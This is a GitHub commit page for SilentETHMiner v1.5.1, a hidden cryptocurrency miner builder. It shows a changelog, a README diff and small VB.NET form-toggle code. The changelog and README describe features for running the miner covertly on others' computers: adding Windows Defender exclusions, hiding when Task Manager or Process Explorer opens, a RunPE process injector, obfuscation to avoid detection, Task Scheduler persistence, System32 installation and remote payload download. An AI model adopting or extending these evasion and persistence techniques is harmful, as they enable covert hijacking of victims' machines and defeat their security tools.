Skip to content
This repository has been archived by the owner on Sep 12, 2023. It is now read-only.

Commit

Permalink
Updated to v1.5.1
Browse files Browse the repository at this point in the history
* Fixed possible critical bug that makes the miner unable to see if a miner is running or not thus opening multiple miners
* Added backup servers for Online Downloader
* Added Install to System32 option (requires administrator permissions)
* Moved RunPE injector (Mandark) into miner to avoid internal Assembly.Load and improved it a bit
* Added GPU check to only start the miner when a GPU is detected
* Fixed possiblity of duplicate random obfuscation strings
* Improved Loader
* Improved Watchdog
* Improved obfuscation
  • Loading branch information
UnamSanctam committed Jul 10, 2021
1 parent 4b2ada6 commit ddd6fdd
Show file tree
Hide file tree
Showing 17 changed files with 411 additions and 179 deletions.
16 changes: 12 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@

<img src="https://github.com/UnamSanctam/SilentETHMiner/blob/master/SilentETHMiner.png?raw=true">

# SilentETHMiner v1.5 - Based on Lime Miner v0.3
# SilentETHMiner v1.5.1 - Based on Lime Miner v0.3


## Main Features
Expand All @@ -20,7 +20,7 @@

* Ethash - Supports mining all Ethash coins like Ethereum, Ethereum Classic, Metaverse, Ellaism, QuarkChain and others

* Remote Configuration - Can get the connection and miner settings remotely from a URL, will get the configuration around every 60-90 minutes
* Remote Configuration - Can get the connection settings remotely from a URL at each startup

* Bypass Windows Defender - Adds exclusions into Windows Defender for the general folders the miner uses

Expand Down Expand Up @@ -49,19 +49,27 @@ So the requirements are as follow:

## Changes

### v1.5.1 (10/07/2021)
* Fixed possible critical bug that makes the miner unable to see if a miner is running or not thus opening multiple miners
* Added backup servers for Online Downloader
* Added Install to System32 option (requires administrator permissions)
* Moved RunPE injector (Mandark) into miner to avoid internal Assembly.Load and improved it a bit
* Added GPU check to only start the miner when a GPU is detected
* Fixed possiblity of duplicate random obfuscation strings
* Improved Loader
* Improved Watchdog
* Improved obfuscation
### v1.5 (05/07/2021)
**v1.5 is the final update before the new, greatly improved unified miner that I'm working on.**
* Added the Online Downloader option that makes the miner download the miner binary (from GitHub) during runtime to greatly decrease file size (to less then 100kb) and detections - Also added a cache so that it won't have to download the miner on every start
* Added the Stealth Targets option which allows you to enter which programs the Stealth option should pause for
* Added new options to 'Remote Configuration' that allows you to change some miner settings
* Now checks the 'Remote Configuration' settings around every 60-90 minutes
* Added {COMPUTERNAME}, {USERNAME} and {RANDOM} replacement strings support into 'Remote Configuration'
* Made the Task Scheduler task start for all users
* Fixed string that was triggering Windows Defender
* Improved Watchdog program flow
* Renamed "Kill" Windows Defender to Bypass Windows Defender to better represent the new functionality
* Updated miner and made it more stable
* Changed Remote Configuration formatting from INI to JSON
* Improved obfuscation/encryption
* Improved overall code
### v1.4.2 (14/05/2021)
Expand Down
98 changes: 81 additions & 17 deletions SilentETHMiner/Advanced.Designer.vb

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

6 changes: 5 additions & 1 deletion SilentETHMiner/Advanced.resx
Original file line number Diff line number Diff line change
Expand Up @@ -131,8 +131,12 @@ After you have obfuscated the file press OK on the message box that appears to m
</data>
<data name="Label12.ToolTip" xml:space="preserve">
<value>The programs that the "Stealth" option should check for. Separate the programs with a comma (,) just like the default entry.
Windows does have a 8191 character limit in the command line arguments so any big collections of programs should probably be entered with the "Remote Configuration" feature.
Default: Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe</value>
</data>
<data name="Label13.ToolTip" xml:space="preserve">
<value>Will try to install to System32, if unsuccessful it will try to install to the path chosen in the "Install" tab. It's recommended to enable this when using 'Run as Administrator'.
This command requires Administrator privileges!
</value>
</data>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
Expand Down
17 changes: 17 additions & 0 deletions SilentETHMiner/Advanced.vb
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,23 @@
Private Sub toggleKillWD_CheckedChanged(sender As Object) Handles toggleKillWD.CheckedChanged
If toggleKillWD.Checked Then
toggleAdministrator.Checked = True
toggleInstallSystem32.Checked = True
End If
End Sub

Private Sub toggleInstallSystem32_CheckedChanged(sender As Object) Handles toggleInstallSystem32.CheckedChanged
If toggleInstallSystem32.Checked Then
toggleAdministrator.Checked = True
End If
End Sub

Private Sub toggleAdministrator_CheckedChanged(sender As Object) Handles toggleAdministrator.CheckedChanged
If toggleAdministrator.Checked Then
toggleInstallSystem32.Checked = True
toggleKillWD.Checked = True
Else
toggleInstallSystem32.Checked = False
toggleKillWD.Checked = False
End If
End Sub
End Class
Loading

0 comments on commit ddd6fdd

Please sign in to comment.